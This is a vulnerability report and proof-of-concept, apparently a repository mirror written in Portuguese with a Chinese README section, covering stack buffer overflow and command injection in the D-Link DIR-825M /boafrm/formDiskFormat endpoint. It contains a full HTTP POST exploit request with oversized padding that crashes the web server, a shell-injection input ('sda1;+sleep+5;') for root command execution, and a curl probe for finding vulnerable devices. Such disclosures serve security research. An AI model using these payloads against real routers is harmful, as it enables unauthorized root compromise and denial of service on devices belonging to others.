
Prova de conceito de exploit para estouro de buffer de pilha e injeção de comandos no D-Link DIR-825M em /boafrm/formDiskFormat, permitindo execução remota de código como root no firmware v1.1.8.
| Campo | Valor |
|---|---|
| Fornecedor | D-Link |
| Produto | D-Link DIR-825M (e outros modelos que compartilham a mesma base de código de firmware) |
| Versão Afetada | Firmware v1.1.8 |
| Tipo de Vulnerabilidade | Buffer Overflow Baseado em Pilha (CWE-121)、Injeção de Comandos (CWE-78) |
| Site do Fornecedor | https://www.dlink.com/ |
Durante uma revisão de segurança do firmware do roteador, uma vulnerabilidade crítica foi identificada no endpoint /boafrm/formDiskFormat.
A vulnerabilidade está localizada na função sub_46725C, que lida com a formatação de partições. A função recupera o parâmetro partition controlado pelo usuário a partir da requisição HTTP POST. Sem qualquer sanitização prévia, verificação ou verificação de comprimento deste parâmetro, o programa executa várias operações inseguras:
sprintf para formatar o parâmetro em um pequeno buffer local de pilha v9 (alocado com apenas 132 bytes).system() para executar utilitários do sistema.Um atacante pode explorar isso injetando metacaracteres de shell (como ;, & ou |) no parâmetro partition para executar comandos arbitrários do sistema com privilégios de root, ou enviando uma string superdimensionada para causar um buffer overflow na pilha e sequestrar o fluxo de controle.
/boafrm/formDiskFormat (ou endpoint semelhante de manipulação de formatação de disco)sub_46725CA vulnerabilidade decorre de duas falhas de programação simultâneas: formatação insegura de strings e execução direta de entradas não validadas em um shell do sistema.

Dentro de sub_46725C, o parâmetro partition é obtido e armazenado em v2:
v2 = (const char *)sub_41351C(a1, "partition", "");
Se o parâmetro não estiver vazio, o programa imediatamente constrói um comando de desmontagem e o executa:
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);
Como v2 é diretamente incorporado na string de comando sem sanitizar caracteres como ;, uma entrada de sda1;+sleep+5; será executada como:
umount /dev/sda1; sleep 5; >/dev/null 2>&1
Isso aciona diretamente a execução arbitrária de comandos do shell.
O buffer local v9 é declarado na pilha com um tamanho limitado:
char v9[132];
O programa usa sprintf para copiar a entrada do usuário para v9:
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);
Como sprintf não realiza verificação de limites, um parâmetro partition com mais de aproximadamente 90 bytes gravará além do limite de v9, sobrescrevendo o quadro da pilha, incluindo o ponteiro de quadro salvo e o endereço de retorno ($ra em MIPS/ARM).
Um atacante pode explorar esta vulnerabilidade para alcançar os seguintes resultados:
root).Ao fornecer um parâmetro partition superdimensionado, a pilha será corrompida, resultando em uma falha de segmentação e derrubando o daemon do servidor Web.
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive
partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm


本仓库为 CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 formDiskFormat.md)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
POST /boafrm/formDiskFormatpartition 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)核心原理:处理分区格式化的 sub_46725C 函数把用户可控的 partition 参数直接拼进两条命令——sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 $ra)与 sprintf(v9, "umount /dev/%s ...", v2); system(v9)(; & | 等元字符原样进 shell)。
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded
partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。
reports/Dlink/formDiskFormat/)。LICENSE)。